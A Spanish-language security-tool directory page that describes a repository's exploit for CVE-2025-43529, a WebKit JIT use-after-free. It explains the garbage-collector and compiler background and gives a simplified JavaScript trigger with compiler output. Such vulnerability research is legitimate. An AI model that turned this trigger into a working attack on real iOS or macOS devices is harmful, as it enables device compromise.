Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-43529 — Exploit técnico para CVE-2025-43529, una vulnerabilidad del compilador DFG JIT de WebKit que permite use-after-free mediante la ausencia de store barrier en GC concurrente, con primitivas de explotación completas para iOS y macOS. | Kitploit
Herramientas/GitHubGitHub/jir4vv1t/cve-2025-43529
Forensia de MemoriaAnálisis de VulnerabilidadesExplotaciónIngeniería InversaSeguridad WebExplotación de Binarios
GitHubjir4vv1t/cve-2025-43529

CVE-2025-43529

Exploit técnico para CVE-2025-43529, una vulnerabilidad del compilador DFG JIT de WebKit que permite use-after-free mediante la ausencia de store barrier en GC concurrente, con primitivas de explotación completas para iOS y macOS.

Ver Repositorio
851110hace 8 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-43529

TL; DR

Apple recientemente lanzó iOS 26.2 y iPadOS 26.2, junto con un aviso de seguridad que incluye correcciones para vulnerabilidades de WebKit. Un error en el compilador JIT DFG (CVE-2025-43529) destacó, así que decidí investigarlo.

El compilador JIT reconoció correctamente que un nodo Phi (donde múltiples rutas de flujo de control se fusionan) había escapado, pero no logró notar que los nodos Upsilon del Phi también habían escapado. Debido a eso, la compilación DFG StoreBarrierInsertionPhase omitió insertar una Store Barrier, que es un mecanismo clave de seguridad de memoria. Como resultado, el GC concurrente puede perder objetos que debería haber escaneado, lo que puede llevar a un use-after-free.

Puedes encontrar el commit del parche aquí.

He confirmado que mi exploit funciona en iOS 26.1, iPadOS 26.1 y macOS Tahoe 26.0.1.

Background

Generational GC

JSC utiliza un modelo de GC generacional para gestionar el heap de manera eficiente. En este modelo, la memoria se divide en Eden (nuevo espacio) y old space según la edad del objeto. Todos los objetos recién asignados comienzan en Eden. Cuando Eden se llena, se activa un GC de Eden y los objetos que sobreviven se promueven al old space. Limpiar los objetos del old space requiere un GC completo.

Para que el GC generacional funcione, el GC necesita clasificar los objetos como "ya escaneado", "necesita escaneo" o "necesita reescaneo". En JSC, esto se rastrea usando el cellState de un objeto. (Todos los objetos administrados por el GC heredan de JSCell.)

StructureID m_structureID;
union {
    uint32_t m_blob;
    struct {
        IndexingType m_indexingTypeAndMisc; 
        JSType m_type;
        TypeInfo::InlineTypeFlags m_flags;
        CellState m_cellState;
    };
};

cellState es de 1 byte y puede ser uno de tres colores: Black (0), White (1) y Grey (2).

White significa un objeto que acaba de ser asignado en Eden. En el ciclo de GC actual, aún no ha sido marcado. Si permanece en este estado hasta el final del ciclo de GC, el objeto será recolectado.

Black significa que el GC ya ha terminado de marcar el objeto o está en proceso de marcarlo. Básicamente se trata como vivo, aunque el bit isMarked podría seguir apagado.

Grey significa un objeto que aún necesita ser escaneado. Más precisamente, originalmente era Black, pero fue capturado por la write barrier y agregado al remembered set. En otras palabras, sus referencias cambiaron, por lo que el GC necesita escanearlo de nuevo.

Concurrent GC

JSC también tiene GC concurrente, que permite que la aplicación se ejecute mientras se reclama memoria. Si el GC está marcando un objeto en segundo plano y la aplicación cambia el estado de ese objeto al mismo tiempo, puedes terminar con una condición de carrera.

Para evitar esto, necesitas garantías de orden. Como "escribir (store) A, luego leer (load) B" ocurriendo en ese orden exacto. Pero en ARM64, por razones de rendimiento, la CPU puede reordenar las operaciones de memoria. Eso significa que el GC podría leer el valor incorrecto.

Por lo tanto, JSC usa una dependency class para depender de las dependencias de datos de la CPU, o usa instrucciones especiales de ARM64 como STLR y LDAR para imponer el orden. STLR garantiza que las lecturas/escrituras anteriores se vuelvan visibles antes del store (un release store). LDAR garantiza que las lecturas/escrituras posteriores no puedan adelantarse al load (un acquire load). Cuando otro hilo lee un objeto, LDAR se empareja con STLR para que pueda observar de forma segura los datos más recientes.

DMB no es una única instrucción especial para un acceso. Es una barrera que fuerza el orden entre todos los accesos a memoria que la rodean. Garantiza que las operaciones de memoria anteriores al DMB se vuelvan visibles antes que las operaciones posteriores.

JSC JIT

JSC tiene tres niveles de JIT en total. Para equilibrar la velocidad de ejecución contra el costo de compilación (memoria/tiempo), aplica optimizaciones y mueve el código al siguiente nivel según la frecuencia con la que se ejecuta.

  • Tier 1: Baseline JIT
  • Tier 2: DFG JIT
  • Tier 3: FTL JIT

Baseline JIT es el primer compilador JIT. Se centra en llegar rápido al código nativo con un bajo costo de compilación. DFG JIT es la siguiente etapa después de Baseline JIT, donde comienza la optimización seria.

En el nivel DFG, las instrucciones de JavaScript se convierten en un grafo compuesto por nodos IR de DFG. Usando la información de tipos que recopila, el compilador realiza especulación para eliminar operaciones innecesarias. En el pipeline de optimización DFG de JSC, la StoreBarrierInsertionPhase inserta una StoreBarrier después de los nodos que escriben en memoria, como PutByOffset. CVE-2025-43529 es una vulnerabilidad causada por no insertar una StoreBarrier cuando debería haberse insertado durante StoreBarrierInsertionPhase.

Una StoreBarrier es un nodo que actúa como una write barrier. Se usa para preservar la corrección en las carreras con el hilo de marcado.

Trigger Bug

El escenario de nodos DFG vulnerable descrito en el commit del parche se ve así:

BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
   Branch(BB#2, BB#3)

BB#2
...
d: Something
e: Upsilon(@d, ^f)
   Jump(BB#3)

BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@a, @f)
...
h: PutByOffset(@b, ...)
...

En BB#1, se crean dos objetos nuevos y la ejecución se bifurca a BB#2 o BB#3. BB#2 luego cae en BB#3. La parte interesante en BB#3 es el nodo Phi. Significa que f es o c o e, y esa elección está determinada por los nodos Upsilon anteriores. En BB#3, PutByOffset significa agregar un valor a la propiedad de un objeto.

Simplified PoC

let A = { p0: 0x41414141 };

function jitme(flag) {
    // BB#1
    let a = { p0: 13.37 };
    let b = { p0: 0x42424242 };

    let f;

    if (flag) {
        // BB#2
        f = b; 
    } else {
        // BB#3
        f = 1.1; // d
    }

    // BB#4
    A.p0 = f; 
    b.p0 = a;
}

Si usas la opción --dumpFTLDisassembly=true, puedes inspeccionar el ensamblador después de la compilación FTL.

// Starting BB#3
  0  3 60:   D@46:< 1:->        Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
  1  3 60:   D@53:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  2  3 60:   D@57:<!0:->        ExitOK(MustGen, W:SideState, bc#50, ExitValid)
  3  3 60:   D@63:<!0:->        KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
  4  3 60:   D@60:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  5  3 60:   D@67:<!0:->        KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
  6  3 60:   D@66:<!0:->        ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
  7  3 60:   D@69:<!0:->        FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#66, ExitValid)
// D@65 : A
// D@46 : f
// A.p0 = f
  8  3 60:   D@70:<!0:->        PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)
Descargar herramienta